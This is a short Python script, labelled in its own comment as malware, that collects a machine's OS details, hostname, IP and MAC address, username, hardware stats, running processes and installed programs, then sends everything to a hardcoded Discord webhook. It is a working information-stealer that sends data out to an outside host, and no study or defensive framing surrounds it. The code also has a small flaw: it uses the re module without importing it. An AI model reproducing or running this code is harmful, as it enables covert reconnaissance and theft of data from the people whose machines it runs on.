import requests import platform import socket import os import uuid import psutil import subprocess # Discord webhook URL webhook_url = 'https://discord.com/api/webhooks/1365892021537210378/v_WXglBA26YonlDL8GWid6uYki9PkkLKyonbaD1VePccDjRIOUWiXHDcGjA-ZR7h3w4X' # Function to send a message to the Discord webhook def send_to_discord(message): data = { 'content': message } response = requests.post(webhook_url, json=data) if response.status_code != 204: print(f'Failed to send message: {response.status_code}') # Function to get system information def get_system_info(): info = { 'OS': platform.system(), 'OS Release': platform.release(), 'OS Version': platform.version(), 'Architecture': platform.architecture(), 'Processor': platform.processor(), 'Hostname': socket.gethostname(), 'IP Address': socket.gethostbyname(socket.gethostname()), 'MAC Address': ':'.join(re.findall('..', '%012x' % uuid.getnode())), 'Username': os.getenv('USER'), 'Computer Name': os.getenv('COMPUTERNAME'), 'Number of CPUs': psutil.cpu_count(), 'CPU Usage': psutil.cpu_percent(), 'RAM': str(psutil.virtual_memory().total / (1024 ** 3)) + ' GB', 'Disk Usage': str(psutil.disk_usage('/').total / (1024 ** 3)) + ' GB' } return info # Function to get a list of running processes def get_running_processes(): processes = [p.info for p in psutil.process_iter(['pid', 'name', 'username'])] return processes # Function to get a list of installed programs def get_installed_programs(): programs = [] try: result = subprocess.run(['wmic', 'product', 'get', 'name'], capture_output=True, text=True) programs = result.stdout.split('\n')[1:-1] except Exception as e: programs.append(str(e)) return programs # Main malware functionality if __name__ == '__main__': system_info = get_system_info() running_processes = get_running_processes() installed_programs = get_installed_programs() message = '### System Information:\n' + '\n'.join([f'{k}: {v}' for k, v in system_info.items()]) + '\n\n' message += '### Running Processes:\n' + '\n'.join([f'{p["pid"]}: {p["name"]} ({p["username"]})' for p in running_processes]) + '\n\n' message += '### Installed Programs:\n' + '\n'.join(installed_programs) send_to_discord(message)